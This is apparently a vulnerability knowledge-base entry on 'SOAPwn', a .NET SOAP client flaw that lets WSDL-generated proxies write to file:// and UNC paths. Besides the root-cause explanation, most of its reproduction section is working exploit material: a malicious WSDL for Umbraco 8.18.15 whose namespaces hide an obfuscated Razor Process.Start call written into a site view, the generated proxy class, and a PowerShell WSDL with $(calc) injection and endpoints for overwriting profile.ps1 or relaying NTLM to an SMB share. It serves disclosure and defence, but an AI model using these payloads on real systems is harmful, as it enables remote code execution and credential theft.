—Knowledge Base

SOAPwn

Updated 26 May 2026

Background

.NET SOAP Proxy Transport Abuse

  1. CVSS
    9.8—Critical
  2. VECTOR
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  3. IMPACT
    Remote code execution, Arbitrary file write, NTLM credential relay
  1. AFFECTED
    .NET Framework≤ all

The SOAPwn vulnerability class impacts the .NET Framework SOAP client stack — specifically how proxies generated from WSDL files handle transport protocols. HttpWebClientProtocol is intended to operate over HTTP(S), but due to a flawed type-handling decision in the framework, non-HTTP URI schemes such as file:// and UNC paths are silently accepted and processed.

When applications dynamically import WSDL files (e.g. via ServiceDescriptionImporter) and invoke the generated proxy methods, attackers can weaponize this to achieve arbitrary file writes, NTLM credential relay, and in many real-world cases RCE. Microsoft has chosen not to patch the issue, placing responsibility on application developers. Known real-world instances include Barracuda Service Center RMM (CVE-2025-34392) and Ivanti Endpoint Manager (CVE-2025-13659).

The root cause resides in HttpWebClientProtocol.GetWebRequest():

csharp
protected override WebRequest GetWebRequest(Uri uri)
{
    WebRequest webRequest = base.GetWebRequest(uri); // [1]
    HttpWebRequest httpWebRequest = webRequest as HttpWebRequest; // [2]
    if (httpWebRequest != null)
    {
        // ... HTTP-specific config applied only when cast succeeds ...
    }
    return webRequest; // [3]
}
  1. [1]base.GetWebRequest(uri) returns a protocol-specific WebRequest — for file:// URIs this is a FileWebRequest
  2. [2]The cast to HttpWebRequest fails silently
  3. [3]The original WebRequest is returned without any scheme validation
Reproduction

POC || GTFO

Umbraco 8.18.15 — Authenticated (WIP)

Requirements: low-privileged user with Editor role, access to Forms → Data Sources.

Attack chain: import attacker-controlled WSDL via Forms Data Source → generated proxy embeds a file:// SOAP endpoint → form submission invokes proxy method → SOAP request written to disk via FileWebRequest.

Import the following WSDL:

xml
<?xml version="1.0" encoding="utf-8"?>
<definitions
  xmlns="http://schemas.xmlsoap.org/wsdl/"
  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
  xmlns:tns="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}"
  xmlns:s="http://www.w3.org/2001/XMLSchema"
  targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">
 
  <types>
    <s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">
      <s:element name="poc"><s:complexType/></s:element>
      <s:element name="pocResponse">
        <s:complexType>
          <s:sequence>
            <s:element name="pocResult" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </types>
 
  <message name="InMsg"><part name="parameters" element="tns:poc"/></message>
  <message name="OutMsg"><part name="parameters" element="tns:pocResponse"/></message>
 
  <portType name="SOAPwnMethod">
    <operation name="Execute">
      <input message="tns:InMsg"/>
      <output message="tns:OutMsg"/>
    </operation>
  </portType>
 
  <binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="Execute">
      <soap:operation soapAction="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute"/>
      <input><soap:body use="literal"/></input>
      <output><soap:body use="literal"/></output>
    </operation>
  </binding>
 
  <service name="SOAPwnService">
    <Port name="SOAPwnPort" binding="tns:SOAPwnBinding">
      <soap:address location="file:///inetpub/umbraco8/Views/Blog.cshtml"/>
    </Port>
  </service>
 
</definitions>

This generates the following proxy class:

csharp
public class UmbracoPoc : SoapHttpClientProtocol
{
    public UmbracoPoc()
    {
        base.Url = "file:///inetpub/umbraco8/Views/Blog.cshtml";
    }
 
    [SoapDocumentMethod("http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute", RequestNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", ResponseNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Wrapped)]
    public string Execute()
    {
        return (string)base.Invoke("Execute", new object[0])[0];
    }
}

Notes: SOAP 1.1 only. Proxy import confirmed. Execution via Forms is partially restricted — WIP.


PowerShell — Arbitrary File Write → RCE

PowerShell uses the .NET SOAP client stack when importing web services.

Attack chain: import malicious SOAP proxy → trigger method invocation → SOAP payload written to profile.ps1 → new PowerShell session loads profile → arbitrary code execution.


PowerShell — NTLM Relay

Attack chain: SOAP endpoint set to a UNC path (file://///attacker/share) → proxy invocation triggers SMB authentication → NTLM challenge/response captured → credentials relayed to another host.

xml
<?xml version="1.0" encoding="utf-8"?>
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/"
             xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
             xmlns:s="http://www.w3.org/2001/XMLSchema"
             xmlns:tns="http://tempuri.org/?$(calc)"
             targetNamespace="http://tempuri.org/?$(calc)">
 
  <types>
    <s:schema targetNamespace="http://tempuri.org/?$(calc)" elementFormDefault="qualified">
      <s:element name="Request"><s:complexType/></s:element>
      <s:element name="Response">
        <s:complexType>
          <s:sequence>
            <s:element name="Result" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </types>
 
  <message name="InMsg"><part name="parameters" element="tns:Request"/></message>
  <message name="OutMsg"><part name="parameters" element="tns:Response"/></message>
 
  <portType name="SOAPwnMethod">
    <operation name="poc">
      <input message="tns:InMsg"/>
      <output message="tns:OutMsg"/>
    </operation>
  </portType>
 
  <binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="poc">
      <soap:operation soapAction="http://tempuri.org/?$(calc)"/>
      <input><soap:body use="literal"/></input>
      <output><soap:body use="literal"/></output>
    </operation>
  </binding>
 
  <service name="SOAPwnService">
    <Port name="SOAPwnMethod" binding="tns:SOAPwnBinding">
      <!-- file write:  <soap:address location="file:///Windows/System32/WindowsPowerShell/v1.0/profile.ps1"/> -->
      <!-- NTLM relay: <soap:address location="file://192.168.140.128/relaymeplease"/> -->
    </Port>
  </service>
 
</definitions>
References

Further reading